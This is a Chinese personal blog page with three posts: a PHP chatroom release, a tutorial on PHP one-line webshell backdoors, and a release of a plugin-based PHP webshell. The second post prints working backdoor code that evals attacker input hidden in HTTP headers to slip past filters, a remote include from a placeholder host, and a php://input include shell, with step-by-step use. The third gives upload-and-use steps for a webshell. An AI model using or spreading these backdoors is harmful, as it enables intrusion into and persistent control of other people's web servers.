浮幽小栈

本人BLOG全部内容均为原创,转载请注明出处.谢谢.

Subscribe to RSS feed

Posts tagged with "web"

Sticky post

一个PHP+XML写的在线聊天室

, , ,

很久之前给自己的论坛写的,后来因为种种原因没用上.所以就发出来,给有用的人了.
由于是整合IPB论坛写的,所以用户数据库部分是用的IPB论坛数据库,如果你要单独的使用,可能还要设计一个用户数据库.
下载后请看readme.txt文件和conn.php文件的注释,有说明如何对其他论坛进行整合和修改.

功能:
1.采用XML异步方式获取数据,整体聊天室无需刷新,且无延迟和假死情况.
2.采用等级划分,有管理员机制,可灵活配置9个等级.
3.有禁止发言,踢出聊天室,屏蔽IP功能.
4.丰富的字体和颜色,动作选项.
5.对于安全性做了较为完整的检测,不存在安全性问题.
6.可在线发送代码和数据,不比担心字符被过滤或者替换.
7.占用资源较少.界面简单美观.(这点纯粹是废话)

下载:
XMLChat.rar

Sticky post

一种关于一句话木马的更新思想

,

这篇文章大概是涉及到了web,注入,一句话木马,很多人觉得做脚本小子,黑别人网站有点低级和为之不齿.更多名门正派老字号的黑客都不削于这种技术....哈哈
其实我个人也这么认为,可是俺是年轻人,思想比较浮躁和喜欢新鲜,加之俺又活在这个新生事物频发的年代,多少也要接触这些好的差的..好在对此研究也仅限于了解的目标.并不到为之痴狂的地步...
哎呀,废话说的太多了,opera的blog没有摘要功能,所以没偏杂文还是尽量简短一点好....

什么是一句话木马我就不说了哈....
传统的一句话木马如果碰到这台机器刚刚好升级,或者因为发现被入侵,装了一套过滤系统,这台机器上的一句话木马基本上成了残废,因为这个时候入侵者的代码数据无法上传到一句话木马,无法运行,也就没了这个功能了.
不过我不知道大家为什么这么久都没发现有一个地方,其实一直存在着漏洞,如果用在一句话木马上,一句话木马的前途将会非常光明.任何的过滤系统都不能够阻挡你的执行数据的目的,就算他的get,post,cookie,xml,rss全部严格过滤也无济于事.甚至,这个方法将很难有有效的防治办法.下面介绍这个办法.其实很简单.

说起发现这个方法,起码有个两年的时间了,有的时候要想要发出来又因为当时没有时间而过后又忘记了.

先看第一段代码:
<?
//$_SERVER里面可以是以下几个:
//HTTP_ACCEPT
//HTTP_ACCEPT_CHARSET
//HTTP_ACCEPT_ENCODING
//HTTP_ACCEPT_LANGUAGE
//HTTP_CONNECTION
//HTTP_HOST
//HTTP_REFERER
//HTTP_USER_AGENT
?>

<?eval($_SERVER["HTTP_ACCEPT_CHARSET"]);?>

放出这个,肯定很多人就明白了.就是利用http头的一些信息附带你的数据上去,作为一句话木马执行的参数.
不过明白的这些人肯定会有以下几个问题:
1.为什么说很难被防止.
因为http头信息有丰富的非法字符,比如代码中常用的*,逗号,句号,单引号,双银号,小括号等等等等其他的字符,如果把防注入程序用于http头,那恐怕几乎所有的正常数据都将被防止了.所以不可能对http进行过滤,需要非常复杂的的手法才能,相信没有人会去开发这种软件.
2.http头部够长吗,通常要执行的代码将会很长.
我测试过,iis和apache对于http头的数据确实有长度限制,这个限制大概是10,000-15,000个字符,也就是15KB,如此长的容量,我想传个简单的语句上去已经绰绰有余了吧,况且,当真碰到只有100多个字符限制的服务器,也可以先增量写入到session,然后从session中取出执行即可.
3.如何利用?

其实写个简单的代码是最好的了,本文附件中有带一个c源代码(gethttp.c)是简单的自定义http头信息,你可以用它来上传你的数据.

其次还可以借助一个工具:accessdiver.
该工具的下载地址:
http://www.accessdiver.com/downloads.htm

运行之后按f4按键,点击到extras tool页面,点击该页面下的http debugger子页面,在该页面的http address输入你的一句话木马页面,选择mode的get,点击mode上面一点的header data,会出现一个输入框,这个就是给你自定义http头的地方,其他地方我就不用说了,大家看看就会明白,这个工具很好用哦.

好了,上面说的那些是第一只马,现在再来第二只马.
代码:
<?@include("http://xxx/xx.txt");?>

相信大多数人都用过这样的马,不过这样的马有缺点,要是 allow_url_fopen 选项的支持.
其实利用inlcude做马的好处非常明显,没有了eval这些关键字,通过扫描的方式一般找不出来.
于是就有了下面这种include马:
<?@include($_POST["zv1984"]);?>

很普通哦.....然后用accessdiver(前面有下载地址).httpdebugger中选择post模式,post数据为:
zv1984=php://input&<?phpinfo();?>
然后看看效果.很棒吧.&号后面可以是任意的php代码.

好像很多了,就这样吧,可能我说的还是很简单,简单最好了不是么.

附件:gethttp.c

EasyPHPWebShell

, ,

其实这个2.0版本是对于我那个在几年前写的1.0版本做的内疚升级,当时写那个1.0很差.于是我一直都想写一个升级版本作为弥补,可是终究没有时间,搞到现在才写出这半个2.0.由于接下去一段时间可能会很忙,所以就仓卒的发布了.

没有什么特性,我看到现在的webshell都越写越大,不论是效率还是其他都不太理想.

于是我写了一个整合型的webshell,也就是插件式的.EasyPHPWebShell2.0本身只有一个脚本文件"shell.php",通过正则替换的形式对本身进行修改,从而达到扩充插件的目的,插件可以任意的添加和删除.当然,你的服务器需要支持可写.所以EasyPHPWebShell2.0所谓的插件形式是对本身进行修改,而不是在服务器上生成其他的插件文件.

这样做的好处很明显,你今天要用什么东西就上什么插件,不必须考虑太多的功能让webshell速度缓慢.而且插件将来是无限制的增加,能用的功能也会越来越多.

坏处也有,由于是基于本身的修改,所以就不能用某些加密的软件了,比如zend..

什么是好是坏,就让大家评说了.

用法:

1.打开shell.php,修改开头几个参数信息.保存
2.上传shell.php.用浏览器打开.
3.点击左边的插件列表的"浏览"按钮,选择一个插件(除了shell.php外的其他php文件都是插件),点击添加.
4.等待插件上传到服务器,脚本会自动整合到shell.php,并自动刷新.
5.插件列表出出现了刚刚上传的插件,点击他,即可得到响应的功能.
6.用同样的方法添加其他插件(如果你用的到的话).
7.点击插件右边的"[删除]"按钮可删除该插件(不可逆操作,如需回复,则需要重新上传).

注意点:
A.每次修改插件,都会在插件当前目录生成一个"webshell名字.bak.php"的备份文件,如遇到添加插件失败,网络原因失败等,可浏览该文件做恢复工作.如操作正常,可点击最上面的"删除备份文件"予以删除.
B.服务器需要支持FSO方可实现在线添加插件,如不支持,则可在本地添加好之后上传到服务器.
C.不可用zend等加密软件加密webshell,否则可能导致不可用.

当前版本2.3,下载:
webshell2.3.rar
February 2012
S M T W T F S
January 2012March 2012
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29